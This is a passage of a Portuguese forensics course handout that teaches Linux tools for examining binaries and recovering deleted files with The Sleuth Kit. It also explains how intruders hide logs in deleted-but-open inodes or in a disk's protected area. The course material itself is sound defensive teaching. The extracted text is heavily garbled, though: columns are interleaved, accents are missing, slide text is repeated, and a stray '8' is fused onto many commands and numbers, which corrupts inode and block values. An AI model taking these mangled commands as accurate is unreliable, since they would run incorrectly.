atividade executada pelo mesmo, como todos os acessos ao sistema de arquivo, chamados de sis-
acessos ao sistema de arquivo, chamados de sistema, tema, leitura e escrita em filehandles, abertura e uti-
leitura e escrita em filehandles, abertura e utilizao
de sockets de rede. lizao de sockets de rede. Pode ser muito til caso
o investigador encontre um processo em execuo e
# strace -f -F -i -t -x -p `pidof Xorg`
queira descobrir mais informaes sobre o mesmo,
# strace -f -F /usr/sbin/sshd
ou ento se encontrar um binrio desconhecido
numa mquina e quiser execut-lo em um ambiente
controlado para saber a sua funo. Exemplo:

# strace -f -F -i -t -x -p `pidof Xorg`8

# strace -f -F /usr/sbin/sshd8

No primeiro exemplo, utilizamos o strace para monitorar um processo em execuo.


Neste caso, precisamos passar ao parmetro p o PID do processo que queremos
monitorar. Para isso, utilizamos o comando pidof Xorg entre aspas invertidas.

Esta uma facilidade do shell que permite executar o comando dentro das aspas
invertidas, pegar a sada deste comando, e substitu-la na linha de comando no
lugar das aspas invertidas. O comando pidof retorna o PID do programa que bate
com o nome passado como parmetro.

Ambiente e ferramentas de anlise forense (parte 2)


52
Escola Superior de Redes RNP

Os outros parmetros deste comando indicam ao strace os threads criados pelo


processo (-f -F), para imprimir o timestamp (-t) e para imprimir em hexadecimal
qualquer string que contenha caracteres especiais (-x).

O segundo comando o formato utilizado para executar um processo atravs do


strace, permitindo assim acompanh-lo desde o princpio.

readelf
Informaes sobre executveis
Este comando til na anlise de binrios desconhe-
readelf
Este comando til na anlise de binrios cidos. Ele permite listar uma srie de informaes
desconhecidos. Ele permite listar uma srie de importantes sobre a estrutura do executvel, facili-
informaes importantes sobre a estrutura do tando assim um possvel trabalho de anlise desse
executvel, facilitando assim um possvel trabalho de
anlise desse binrio. binrio.

# readelf -h /data/bla8
# readelf -h /data/bla
# readelf -S /data/bla
# readelf -S /data/bla8
# readelf -l /data/bla
# readelf -e /data/bla # readelf -l /data/bla8

# readelf -e /data/bla8

Estes parmetros permitem listar sees especficas da estrutura do executvel.


O primeiro exemplo lista o cabealho ELF, o segundo lista os cabealhos de cada
seo, e o terceiro lista os cabealhos de programa. O ltimo exemplo na verdade
um atalho para listar as trs informaes acima simultaneamente.

ldd/nm/objdump

Informaes sobre executveis # ldd /bin/ntfs-3g8

# nm /bin/ntfs-3g8
ldd/nm/objdump
Estas trs ferramentas podem ser utilizadas em uma anlise # objdump -x /bin/ntfs-3g8
mais avanada de um binrio desconhecido.
Elas permitem descobrir informaes importantes sobre a # objdump -D /bin/ntfs-3g8
estrutura, funes e dependncias de um executvel:
# objdump -S /bin/ntfs-3g8
# ldd /bin/ntfs-3g
# nm /bin/ntfs-3g
# objdump -x /bin/ntfs-3g O primeiro comando exemplificado permite listar de
# objdump -D /bin/ntfs-3g quais bibliotecas o programa em questo depende.
# objdump -S /bin/ntfs-3g Este comando pode ser til para descobrir verses
modificadas de binrios que possam apontar para
bibliotecas em locais externos ao padro do sistema.

O segundo comando lista as funes exportadas pelo executvel. Com esta


informao, possvel descobrir por alto algumas funcionalidades do programa
analisado. Por exemplo, um binrio suspeito que utilize uma chamada setsockopt()
deve ter a capacidade de criao de um listener. Isto pode indicar que o binrio
pode ser um backdoor.

Anlise forense Sesso de aprendizagem 3


53

O comando seguinte utilizado para listar informaes sobre o binrio, como no


primeiro exemplo, mas, alm disso, permite tambm listar o cdigo assembly
do binrio. Dois formatos de disassembly so suportados, como mostrado no
segundo e terceiro exemplos.

Pacote forense de ferramentas Pacote forense de ferramentas

Por que utilizar um pacote forense de ferramentas? Tipos de ferramentas do pacote forense:
Facilitam o trabalho de analisar e extrair evidncias de \\Ferramentas do Nvel de Sistema de Arquivos
imagens de disco.
Permitem recuperar arquivos removidos.
Estas ferramentas processam dados gerais sobre
So flexveis, permitindo a anlise de sistemas de o sistema de arquivos, tal como o layout de
arquivos diferentes. disco, estruturas de alocao e boot blocks.
A quantidade de dados muito grande, ento
ferramentas especficas tornam o trabalho mais fcil. \\Ferramentas do Nvel de Nomes de Arquivos
Estas ferramentas processam estruturas de
nomes de arquivos e de diretrios.

\\Ferramentas do Nvel de Metadados Estas


ferramentas processam estruturas de metadados,
que armazenam detalhes sobre os arquivos.
Pacote forense de ferramentas Metadados so dados sobre dados. Eles
armazenam informaes sobre estruturas tais
Ferramentas do Nvel de Sistema de Arquivos como entradas de diretrios na FAT, entradas
Ferramentas do Nvel de Nomes de Arquivos MFT em sistemas NTFS, ou inodes em sistemas
Ferramentas do Nvel de Metadados de arquivos UFS ou EXTFS.
Ferramentas do Nvel de Blocos de Dados
Outras ferramentas \\Ferramentas do Nvel de Blocos de Dados
Estas ferramentas processam blocos de dados
onde o contedo de um arquivo fica armazenado,
como por exemplo clusters em um sistema FAT.

\\Outras ferramentas Tm funcionalidades diversas


e so importantes durante a anlise forense.

Pacote forense de ferramentas

J mencionamos a ferramenta EnCase, para Windows.


Existem dois pacotes importantes para Linux:
The Coroners Toolkit
The Sleuth Kit
Sleuth Kit foi criado com base no primeiro, e possui
mais funcionalidades e flexibilidade.
Outras ferramentas facilitam o trabalho do analista, tal
como o Autopsy, uma interface web para os
programas do Sleuth Kit.

Ambiente e ferramentas de anlise forense (parte 2)


54
Escola Superior de Redes RNP

Pacote forense de ferramentas

Vamos utilizar neste curso o pacote Sleuth Kit:


Maior flexibilidade das ferramentas
Trabalha com dispositivos de disco ou imagens binrias
Reconhece diversos sistemas de arquivos
Sem custo de utilizao
As ferramentas do Sleuth Kit esto divididas em grupos, de acordo
com as estruturas de um sistema de arquivos:
Sistema de arquivos
Estruturas de nomes de arquivos
Estruturas de metadados
Estruturas de journaling
Estruturas de blocos de dados
Estruturas de gerenciamento de parties
Estruturas de acesso fsico ao disco

Os inodes contm informaes necessrias aos pro-


Pacote forense de ferramentas
cessos para acessar um arquivo.
Owner: 707
Cada arquivo em um sistema Unix possui um nico
inode. Group: 707
Type: regular
Cada inode contm: Owner: 707 Perms: rw-rw-rw--
Identificao do owner Group: 707 Accessed: Mon JAN 16 03:03
Tipo do arquivo Type: regular Modified: Mon JAN 16 01:01
Permisses de acesso Perms: rw-rw-rw-- Created: Sun DEC 15 10:00
Tempo de acesso Accessed: Mon JAN 16 03:03
Nmero de links Modified: Mon JAN 16 01:01
Tabela de contedo Created: Sun DEC 15 10:00
Tamanho do arquivo
Lista de blocos de dados do arquivo

Pacote forense de ferramentas

Qual a importncia dos inodes e da forma de alocao


de dados no disco?
Quando um arquivo apagado os dados continuam no
disco e podem ser recuperados at que sejam
sobrescritos.
Algoritmos de alocao de espao evitam coliso.
Concluso
Arquivos apagados so freqentemente recuperados
com sucesso e possuem informaes valiosas.

Anlise forense Sesso de aprendizagem 3


55

Os blocos de dados so a menor estrutura em um disco, e armazenam o conte-


do do arquivo. Um inode pode armazenar os dados do arquivo quando este for
bem pequeno, menor que o tamanho de um bloco. Caso o arquivo tenha entre 1 e
8 blocos, o inode armazena uma lista de blocos diretamente. E quando o arquivo
for muito grande, o inode vai utilizar os blocos endereados diretamente como
rea para armazenar informaes sobre os blocos que armazenam o arquivo. Este
processo chamado de blocos de dados endereados indiretamente, e permite
que um arquivo tenha tamanhos arbitrrios.

Pacote forense de ferramentas

Como os arquivos so apagados?


O inode alocado a um arquivo marcado como livre
O inode recolocado na lista free-inodes no
superblock
O nmero de free-inodes incrementado no
superblock
Blocos do disco so retornados para a lista de blocos
livres no disco
O nmero de blocos livres no disco incrementado no
superblock

Ambiente e ferramentas de anlise forense (parte 2)


56
Escola Superior de Redes RNP

Ferramentas do nvel de sistema de Ferramentas do nvel de sistema de arquivos


arquivos
fsstat
fsstat
Mostra detalhes e estatsticas do sistema de arquivos:
Mostra detalhes e estatsticas do sistema de arqui-
# fsstat -f linux-ext2 /data/dev_sda2_root.img
FILE SYSTEM INFORMATION vos, tal como layout, tamanho do disco, tamanho
--------------------------------------------
File System Type: Ext2 dos blocos, nmero de inodes e blocos de dados,
Volume Name:
Volume ID: 533d2c132a726ebcb1430beadf42a1df
datas de modificao, entre outros.
Last Written at: Tue Jan 15 21:00:42 2008
Last Checked at: Wed Jan 16 03:32:47 2008 # fsstat -f linux-ext2 /data/dev_sda2_root.img8
Last Mounted at: Tue Jan 15 21:00:12 2008
FILE SYSTEM INFORMATION
--------------------------------------------
File System Type: Ext2
Volume Name:
Volume ID: 533d2c132a726ebcb1430beadf42a1df
Last Written at: Tue Jan 15 21:00:42 2008
Last Checked at: Wed Jan 16 03:32:47 2008
Last Mounted at: Tue Jan 15 21:00:12 2008

Este comando importante para o investigador descobrir informaes sobre o


disco que sero teis em diversos momentos da investigao. Deve-se executar
o comando para entender a sada completa do mesmo, j que no possvel
coloc-la toda aqui. Uma parte importante da sada mostrada a seguir:
Source OS: Linux
Dynamic Structure
Compat Features: Journal,
InCompat Features: Filetype,
Read Only Compat Features: Sparse Super,
Journal ID: 00

Journal Inode: 8
METADATA INFORMATION
--------------------------------------------
Inode Range: 1 - 64512
Root Directory: 2
Free Inodes: 51833
CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 257039
Block Size: 1024
Reserved Blocks Before Block Groups: 1
Free Blocks: 50885

O tamanho dos blocos define o menor espaco disponvel para um arquivo. Os


limites de inode e de blocos indicam valores teis para serem utilizados em outros
comandos que veremos a seguir.

Anlise forense Sesso de aprendizagem 3


57

Ferramentas do nvel de nomes de


Ferramentas do nvel de nomes de arquivos
arquivos
ffind
ffind
Procura por nomes de arquivos que apontem para
uma dada estrutura de metadados. Procura por nomes de arquivos que apontem para
uma dada estrutura de metadados.
# ffind -f linux-ext2
/data/dev_sda2_root.img 4317
# ffind -f linux-ext2 /data/dev_sda2_root.img 43178
* /usr/NX/bin/nxclient
* /usr/NX/bin/nxclient

A estrutura de um arquivo em disco composta por


um inode que armazena informaes sobre o arquivo
e aponta para os blocos de dados que armazenam
o contedo do arquivo. Podemos entender o ffind
como uma ferramenta que serve para descobrir o nome de arquivo que aponta
para o inode informado.

O fls funciona basicamente como o ls, listando a estrutura de diretrios e arquivos


do dispositivo ou imagem informados, com a diferena de que lista os arquivos
removidos, tambm podendo listar mais informaes como inode e mactimes.

fls
Ferramentas do nvel de nomes de
arquivos
fls Lista nomes de arquivos alocados ou apagados em
Lista nomes de arquivos alocados ou apagados em um diretrio.
um diretrio.
# fls -a r d -f linux-ext2 # fls -a r d -f linux-ext2 /data/dev_sda2_root.img8
/data/dev_sda2_root.img
d/- * 0: KNOPPIX/usr d/- * 0: KNOPPIX/usr
r/r * 4317: usr/NX/bin/nxclient r/r * 4317: usr/NX/bin/nxclient

# fls -a -f linux-ext2 # fls -a -f linux-ext2 /data/dev_sda2_root.img8


/data/dev_sda2_root.img
# fls -m / -f linux-ext2 -a -p -r /data/dev_sda2_
# fls -m / -f linux-ext2 -a -p -r
root.img > /data/dev_sda2_root.img.mac8
/data/dev_sda2_root.img >
/data/dev_sda2_root.img.mac

Ferramentas do nvel de metadados


Ferramentas do nvel de metadados

istat istat
Mostra estatsticas e detalhes sobre um determinado # istat -f linux-ext2 /data/dev_sda2_root.img 43178
inode.

# istat -f linux-ext2 Dados da sada do istat:


/data/dev_sda2_root.img 4317 inode: 4317
Not Allocated
Group: 2
Generation Id: 2619973599
uid / gid: 0 / 0
mode: -rwxr-xr-x
size: 5432288
num of links: 0
Inode Times:

Ambiente e ferramentas de anlise forense (parte 2)


58
Escola Superior de Redes RNP

Accessed: Wed Jan 16 03:51:16 2008


File Modified: Tue Dec 20 09:44:32 2005
Inode Modified: Tue Jan 15 21:00:40 2008
Deleted: Tue Jan 15 21:00:40 2008
Direct Blocks:
27894 27895 27896 27897 27898 27899 27900 27901
...

Vemos no exemplo algumas informaes interessantes sobre o arquivo armaze-


nado no inode listado. Primeiro, que ele no est alocado, isto , o arquivo origi-
nal foi removido. Segundo, vemos o usurio e grupo originais do arquivo, alm de
suas permisses. Finalmente, vemos os tempos de acesso, modificao, criao
e remoo do arquivo. Veremos em outra sesso como essas informaes podem
ser importantes para identificar as atividades de um invasor.

icat
Ferramentas do nvel de metadados
# icat -f linux-ext2 /data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat8
icat
Extrai uma unidade de dados de um disco, a partir do
endereo do metadado que aponta para este bloco. O icat a ferramenta utilizada para recuperar arquivos
Permite extrair um arquivo a partir de um inode, sem deletados. Com o inode sabendo onde um arquivo est
precisar saber o nome do arquivo. armazenado, como por exemplo utilizando fls ou lsi,
# icat -f linux-ext2 possvel recuperar o arquivo utilizando o icat como
/data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat
mostra o exemplo.

ifind

Procura a estrutura de metadados para a qual um


determinado nome de arquivo aponta, ou a estrutura
de metadados que aponta para um determinado
Ferramentas do nvel de metadados
bloco de dados.
ifind
Permite, em conjunto com o comando ffind achar o Permite, em conjunto com o comando ffind achar
nome de arquivo que aponta para um bloco de dados qual nome de arquivo aponta para um bloco de
# ifind -a /data/dev_sda2_root.img -d 251399 dados (por exemplo, o bloco de dados que contenha
60489
um texto importante que se deseje recuperar).
# ffind -a /data/dev_sda2_root.img 60489
/etc/passwd
# ifind -a /data/dev_sda2_root.img -d 2513998
# ifind -a /data/dev_sda2_root.img -n
usr/NX/bin/nxclient 60489
4317
# ffind -a /data/dev_sda2_root.img 60489 8
/etc/passwd

# ifind -a /data/dev_sda2_root.img -n usr/NX/bin/nxc


lient8
4317

No primeiro exemplo, temos um bloco do disco que poderia conter dados importantes
que queremos recuperar. Para achar o inode que est alocando este bloco, isto , o
arquivo que continha originalmente este bloco, utilizamos primeiro o ifind para encontrar o
inode, e aps isso utilizamos o ffind para encontrar o nome de arquivo correspondente.

Anlise forense Sesso de aprendizagem 3


59

O segundo exemplo faz o contrrio: a partir do nome de um arquivo conhecido,


descobrimos em qual inode ele estava armazenado originalmente.

ils
Ferramentas do nvel de metadados
Lista as estruturas de metadados e seus contedos
ils
Lista as estruturas de metadados e seus contedos em em um formato fcil de se tratar. O ils faz com ino-
um formato fcil de tratar. des o mesmo que o fls fez com nomes de arquivos.
Faz com inodes o mesmo que o fls fez com nomes de Exemplo:
arquivos.
# ils r f linux-ext2 /data/dev_sda2_root.img
# ils r f linux-ext2 /data/dev_sda2_root.img

# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.img >
/data/dev_sda2_root.img.ils
# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.
img > /data/dev_sda2_root.img.ils
# ils O f linux-ext2 /data/dev_sda2_root.img

# ils O f linux-ext2 /data/dev_sda2_root.img

Nos exemplos acima, listamos recursivamente todos


os inodes da imagem (alocados ou no). O segundo exemplo cria um arquivo no
formato mactimes, como vimos no fls.

E o terceiro exemplo til em um sistema ligado, permitindo listar todos os inodes que
foram removidos, mas ainda esto abertos. Com isto, poderemos identificar algum exe-
cutvel ou arquivo de logs removido do disco pelo invasor, mas que continua aberto em
memria. Isto muito comum quando um invasor instala um sniffer na mquina. Ele exe-
cuta o sniffer, descobre em qual inode o arquivo de logs est armazenado, removendo
em seguida o binrio do sniffer e o arquivo de logs. Como o arquivo vai permanecer
aberto, nenhum novo arquivo poder sobrescrever as reas do disco onde esse log
est sendo armazenado, e ele no vai aparecer mais no sistema de arquivos. Quando o
invasor precisar, poder voltar mquina, e recuperar o arquivo a partir do inode. Este
um mtodo muito simples de esconder evidncias no sistema.

Ferramentas do nvel de blocos de dados


Ferramentas do nvel de blocos de dados

dstat
dstat
Mostra estatsticas e detalhes sobre um bloco de dados.
Mostra estatsticas e detalhes sobre um bloco de
# dstat -f linux-ext2 /data/dev_sda2_root.img dados.
251399 
Fragment: 251399
Allocated # dstat -f linux-ext2 /data/dev_sda2_root.img
Group: 30 251399 
Fragment: 251399
Allocated
Group: 30

Os blocos de dados so a menor estrutura de arma-


zenamento possvel um disco. Um inode armazena a
lista de blocos onde os dados do arquivo so armazenados. Algumas vezes, quando
um inode for sobrescrito, ou parte dos blocos de um arquivo forem sobrescritos,
no ser possvel recuperar o arquivo completo, mas com o dstat e dcat, podemos
recuperar partes do arquivo e com isso conseguir evidncias importantes para
resolver o caso.

Ambiente e ferramentas de anlise forense (parte 2)


60
Escola Superior de Redes RNP

dcat
Ferramentas do nvel de blocos de dados
# dcat -f linux-ext2 /data/dev_sda2_root.img 2513998
dcat root:x:0:0:root:/root:/bin/bash
Extrai um bloco de dados de um disco. Utilizaremos daemon:x:1:1:daemon:/usr/sbin:/bin/sh
esta ferramenta quando no for possvel identificar a bin:x:2:2:bin:/bin:/bin/sh
qual arquivo ou inode pertence um determinado bloco.
Permite recuperar dados parciais de arquivos.

# dcat -f linux-ext2
/data/dev_sda2_root.img 251399
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh

dls
Ferramentas do nvel de blocos de dados

dls
Lista detalhes sobre unidades de dados, e pode lis-
Lista detalhes sobre unidades de dados, e pode listar blocos de tar blocos de dados desalocados de um sistema de
dados desalocados de um sistema de arquivos. arquivos. Estes blocos contm o espao livre e os
# dls -A -a -l -f linux-ext2 /data/dev_sda2_root. arquivos deletados em disco.
img 27891 27895 
class|host|image|first_time|unit
dls|Helix||1199680475|Fragment # dls -A -a -l -f linux-ext2 /data/dev_sda2_root.
addr|alloc
27891|a
img 27891 27895 8
27892|a
27893|a
class|host|image|first_time|unit
27894|f dls|Helix||1199680475|Fragment
27895|f
# dls -A -f linux-ext2 /data/dev_sda2_root.img > / addr|alloc
data/dev_sda2_root.img.dls 27891|a
27892|a
27893|a
27894|f
27895|f

# dls -A -f linux-ext2 /data/dev_sda2_root.img > /


data/dev_sda2_root.img.dls8

No primeiro exemplo, o dls lista o estado de alocao dos blocos entre os valores
indicados. Podemos ver que os blocos alocados aparecem com o status a, e os
desalocados esto listados como f.

O segundo exemplo cria um arquivo contendo somente os blocos desalocados do


disco. Com este arquivo, poderemos procurar por evidncias que tenham sido remo-
vidas, como por exemplo, um arquivo de log ou executvel. Pode no parecer muito
interessante esse tipo de funo, mas pense em procurar por essa evidncia em um
disco de centenas de gigabytes. Se conseguir procurar somente no espao livre, a
quantidade de dados pode ser muito menor, facilitando o trabalho de investigao.

Anlise forense Sesso de aprendizagem 3


61

dcalc
Ferramentas do nvel de blocos de dados
Usado para encontrar na imagem original o bloco de
dcalc
Usado para encontrar na imagem original o bloco de dados correspondente ao encontrado na imagem de
dados correspondente ao encontrado na imagem de blocos de dados desalocados. Exemplo:
blocos de dados desalocados. Exemplo:
# grep -ab http://www /data/dev_sda2_root.img.dls8
# grep -ab http://www /data/dev_sda2_root.img.dls
# fsstat /data/dev_sda2_root.img | grep Block Size
# echo $((4045060/1024)) # fsstat /data/dev_sda2_root.img | grep Block Size8
# dcalc -u 3950 /data/dev_sda2_root.img
# dcat /data/dev_sda2_root.img 31844 # echo $((4045060/1024))8

# dcalc -u 3950 /data/dev_sda2_root.img8

# dcat /data/dev_sda2_root.img 318448

Mais informaes: Esta a sequncia de comandos com a sada correspondente:

http://www.nomachine. # grep -ab http://www /data/dev_sda2_root.img.dls8


com/ 4045060:See http://www.nomachine.com/ for more information.

# fsstat /data/dev_sda2_root.img | grep Block Size8


Block Size: 1024

# echo $((4045060/1024))8
3950

# dcalc -u 3950 /data/dev_sda2_root.img8


31844

# dcat /data/dev_sda2_root.img 318448


The directory not exists./.nx/config//confignxsconfCannot find the configuration
file .nxsError: the session name %1 not found in %2.NXCLIENT - Version

O primeiro comando lista as ocorrncias da sequncia procurada, com o offset em


bytes onde essa sequncia pode ser encontrada na imagem. Com o comando fsstat,
vemos que o tamanho do bloco do disco tem 1024 bytes, ento temos que encontrar
o endereo do bloco de dados que armazena o byte do offset encontrado. O comando
echo visto no exemplo usa uma facilidade do shell para calcular o endereo do bloco,
e a seguir utilizamos o dcalc para descobrir na imagem original o bloco correspon-
dente ao bloco encontrado na imagem de blocos desalocados. Por fim, utilizamos o
dcat para recuperar o contedo do bloco em questo.

Outras ferramentas
Outras ferramentas

mmls mmls
Mostra informaes sobre o layout do disco, incluindo
espaos no particionados. Mostra informaes sobre o layout do disco, incluindo
A sada identifica o tipo das parties e seus tamanhos,
facilitando a utilizao do comando dd para extrair parties. espaos no particionados. A sada identifica o tipo
A sada ordenada pelo setor inicial, facilitando encontrar das parties e seus tamanhos, facilitando a utiliza-
espaos no layout.
o do comando dd para extrair parties. A sada
# mmls -t dos /dev/sda ordenada pelo setor inicial, facilitando encontrar
DOS Partition Table
Offset Sector: 0 espaos no layout.
Units are in 512-byte sectors

Ambiente e ferramentas de anlise forense (parte 2)


62
Escola Superior de Redes RNP

# mmls -t dos /dev/sda8


DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

O comando mmls importante, pois mostra a estrutura de particionamento do


disco, incluindo o tipo e o tamanho das parties, possveis espaos no particio-
nados, o tamanho do cluster (que define o tamanho do bloco) e o tipo da partio.

Outras ferramentas mmstat

mmstat Este comando mostra apenas o tipo de partio


Este comando mostra apenas o tipo de partio presente em um dispositivo. Pode ser utilizado para
presente em um dispositivo. descobrir essa informao num disco no qual no
Pode ser utilizado para descobrir essa informao conhecemos o tipo de particionamento utilizado.
num disco no qual no conhecemos o tipo de
particionamento utilizado. # mmstat /dev/das 8
dos
# mmstat /dev/das
dos O mmstat uma ferramenta para mostrar o tipo de
tabela de partio existente na imagem ou dispositivo.

hfind

Procura um dado arquivo suspeito em bancos de


Outras ferramentas
dados de hash criptogrficos conhecidos pela exis-
tncia do arquivo, para verificar sua autenticidade.
hfind
Para um dado arquivo suspeito, procura em bancos de dados Diversos bancos de dados podem ser usados como
de hash criptogrficos conhecidos pela existncia do arquivo, fonte.
para verificar sua autenticidade. Diversos bancos de dados
podem ser usados como fonte: [9], [10], [11], [12], [13].
# hfind -i md5sum /data/badfiles_hashs.md58
# hfind -i md5sum /data/badfiles_hashs.md5 Index Created
Index Created
# hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49 # hfind /data/badfiles_hashs.md5 54904845b4b0a9cb5f49
91d39043199 91d390431998
e54904845b4b0a9cb5f4991d39043199 /bin/chgrp
e54904845b4b0a9cb5f4991d39043199 /bin/chgrp

O hfind uma ferramenta usada para procurar por


assinaturas de arquivos conhecidos. O primeiro
comando do slide cria um ndice baseado na lisa de hashs passada como par-
metro. Existem na internet diversas listas de arquivos maliciosos ou de arquivos
vlidos de um sistema.

O segundo comando procura por um hash especfico dentro do ndice, e indica o


arquivo correspondente a esse hash.

Anlise forense Sesso de aprendizagem 3


63

mactime
Outras ferramentas
Pega a sada dos comandos ils ou fls e cria um time-
mactime
Pega a sada dos comandos ils ou fls e cria um line, ou linha de eventos, da atividade de arquivos
timeline, ou linha de eventos, da atividade de arquivos no disco. Como veremos em sesses posteriores,
no disco. o timeline a principal ferramenta para remontar os
# mactime -b /data/dev_sda2_root.img.mac -
passos de uma invaso.
p /etc/passwd -z GMT-3
# mactime -b /data/dev_sda2_root.img.mac -p /etc/pa
sswd -z GMT-38

disk_stat

Este comando mostra informaes sobre discos ATA


e Serial-ATA. Normalmente, podemos encontrar neste
Outras ferramentas
tipo de disco uma rea reservada onde os fabrican-
tes normalmente instalam arquivos de recuperao
disk_stat
Este comando mostra informaes sobre discos ATA e Serial- do sistema operacional original. Esta rea conhe-
ATA. cida como Host Protected Area (HPA):
Host Protected Area (HPA):
rea reservada onde os fabricantes normalmente instalam # disk_stat /dev/sda8
arquivos de recuperao do sistema operacional original.
Maximum Disk Sector: 312499999
# disk_stat /dev/sda Maximum User Sector: 268435454
Maximum Disk Sector: 312499999
** HPA Detected (Sectors 268435454 - 312500000) **
Maximum User Sector: 268435454
** HPA Detected (Sectors 268435454 -
312500000) **
O problema do HPA que esta rea no acessvel
ao sistema operacional, nem mesmo em uma lista-
gem de parties com o comando fdisk. Mas um
invasor com as ferramentas necessrias pode utilizar
essa regio do disco para esconder informaes.

Se o investigador tentar realizar uma cpia do disco antes de desabilitar a prote-


o do HPA, o dd ou qualquer comando utilizado para cpia no copiar os seto-
res protegidos. Por isso estes comandos so importantes durante o atendimento
inicial do incidente para garantir que as evidncias sero coletadas corretamente.

disk_sreset
Outras ferramentas
Este comando permite remover o bloqueio de
disk_sreset
Permite remover o bloqueio de acesso ao HPA, acesso ao HPA, permitindo assim que o investigador
permitindo que o investigador tenha acesso aos tenha acesso aos setores de disco protegidos e ao
setores de disco protegidos. seu contedo.
# disk_sreset /dev/sda # disk_sreset /dev/sda8
Removing HPA from 268435454 to 312500000
until next reset Removing HPA from 268435454 to 312500000 until next
reset

Ambiente e ferramentas de anlise forense (parte 2)


64
Escola Superior de Redes RNP

sorter
Outras ferramentas
Analisa e ordena os arquivos em uma imagem de
sorter
Analisa e ordena os arquivos em uma imagem de disco baseada em disco baseada em um banco de dados de assinatu-
um banco de dados de assinaturas de arquivos. ras de arquivos. Serve para identificar rapidamente se
# mkdir -p /usr/local/sleuthkit-2.09/share/file/ existem em disco arquivos de um determinado tipo.
# cp /usr/share/file/magic /usr/local/sleuthkit-
2.09/share/file/ # mkdir -p /usr/local/sleuthkit-2.09/share/file/8
# sorter -f linux-ext2 -d /data/sorter
/data/dev_sda2_root.img # cp /usr/share/file/magic /usr/local/sleuthkit-2.09
Analyzing "/data/dev_sda2_root.img
Loading Allocated File Listing
/share/file/8
Processing 12674 Allocated Files and Directories
# sorter -f linux-ext2 -d /data/sorter /data/dev_sd
100%
All files have been saved to: /data/sorter a2_root.img8
Analyzing /data/dev_sda2_root.img
Loading Allocated File Listing
Processing 12674 Allocated Files and Directories

100%
All files have been saved to: /data/sorter

O arquivo unknown.txt contm os arquivos encontrados pelo sorter com os res-


pectivos inodes onde foram encontrados.

sigfind
Outras ferramentas

O principal problema em procurar padres utilizando


sigfind
O comando sigfind permite procurar por um padro o comando grep que no podemos procurar por
binrio em um arquivo. padres binrios. Por exemplo, como encontrar
a assinatura de um arquivo gzip? Neste caso, o
# sigfind -b 1024 1f8b08
/data/dev_sda2_root.img | less comando sigfind pode ser utilizado. Ele permite pro-
# ifind -a /data/dev_sda2_root.img -d 55934 curar por um padro binrio em um arquivo.
# ffind -a /data/dev_sda2_root.img 4781
# hexdump -C /usr/X11R6/lib/X11/fonts/100dpi
/UTBI__10-ISO8859-1.pcf.gz | head -1 # sigfind -b 1024 1f8b08 /data/dev_sda2_root.img | l
ess8
Block size: 1024 Offset: 0 Signature: 1F8B08
Block: 55934 (-)

# ifind -a /data/dev_sda2_root.img -d 559348


4781

# ffind -a /data/dev_sda2_root.img 47818


/usr/X11R6/lib/X11/fonts/100dpi/UTBI__10-ISO8859-1.
pcf.gz

# hexdump -C /usr/X11R6/lib/X11/fonts/100dpi/UTBI__
10-ISO8859-1.pcf.gz | head -18
00000000 1f 8b 08 00 af 09 8c 43 00 03 a5 5a 0b 70
5c d5 |.......C...Z.p\.|

Vemos no exemplo acima que o comando sigfind encontrou o padro procurado


no bloco 55934. Utilizamos em seguida o comando ifind para encontrar o inode
correspondente que aponta para este bloco. Encontrando o inode, podemos
utilizar o comando ffind para achar finalmente o nome do arquivo correspondente.

Anlise forense Sesso de aprendizagem 3


65

Fizemos uma ltima verificao com o comando hexdump para mostrar que os
trs primeiros bytes do arquivo so mesmo 0x1f8b08.

srch_strings
Outras ferramentas
O comando strings tem um problema que muitas
srch_strings
vezes pode atrapalhar os resultados de uma inves-
Permite realizar as mesmas tarefas do comando
strings, com a diferena de poder procurar por tigao. Caso exista algum texto de evidncia que
caracteres com outra codificao. utilize uma codificao diferente do padro ASCII,
Veja os exemplos abaixo: strings no vai mostr-lo. Por isso, o comando srch_
# strings a /data/ HelloWorld.doc strings existe para suprir essa deficincia. Ele per-
# srch_strings -a -e l /data/ HelloWorld.doc mite realizar as mesmas tarefas do comando strings,
# srch_strings -a -e b /data/ HelloWorld.doc
# srch_strings -a -e s /data/ HelloWorld.doc com a diferena de poder procurar por caracteres
# srch_strings -a -e S /data/ HelloWorld.doc
com outra codificao. Veja os exemplos ao lado:

# strings a /data/ HelloWorld.doc8

# srch_strings -a -e l /data/ HelloWorld.doc8

# srch_strings -a -e b /data/ HelloWorld.doc8

# srch_strings -a -e s /data/ HelloWorld.doc8

# srch_strings -a -e S /data/ HelloWorld.doc8

Nos exemplos, mudando o tipo de codificao com o parmetro e podemos ver a dife-
rena na sada dos comandos, comparados com o comando strings normal. Em cada
caso, utilizamos uma codificao diferente, de acordo com o parmetro passado em e
<codificacao>. Isto pode ser importante para encontrar arquivos que estejam em outra
codificao, como por exemplo se o invasor for proveniente de pases orientais.

foremost

Quando o nmero de arquivos que precisamos recuperar for muito grande, fica
invivel realizar essa tarefa manualmente. O foremost uma ferramenta escrita
pela fora area americana, com o objetivo de facilitar a procura e recuperao
de arquivos baseados em suas assinaturas. Ele utiliza um arquivo de configurao
onde possvel especificar as assinaturas que deseja procurar.

# mkdir /data/foremost8

# foremost -o /data/foremost -c /data/foremost.conf /data/dev_sda2_root.img.


dls8
Processing: /data/dev_sda2_root.img.dls

# ls /data/foremost8
audit.txt htm jpg

Podemos ver que o comando cria um diretrio para cada tipo de arquivo identi-
ficado, e dentro dele armazena os arquivos do tipo que foram recuperados da
imagem especificada. No nosso exemplo, utilizamos a imagem dls que, conforme
vimos, contm os blocos de dados desalocados do disco original.

Ambiente e ferramentas de anlise forense (parte 2)


66
Escola Superior de Redes RNP

O comando foremost cria tambm um arquivo


Outras ferramentas
chamado audit.txt que contm informaes sobre a
localizao dos arquivos recuperados:
foremost
Facilita a procura e recuperao de arquivos baseados # cat /data/foremost/audit.txt8
em suas assinaturas, utilizando um arquivo de
configurao onde possvel especificar as Foremost version 1.5 by Jesse Kornblum, Kris
Kendall, and Nick Mikus
assinaturas que deseja procurar.
Audit File
# mkdir /data/foremost Foremost started at Mon Jan 14 21:03:44 2008
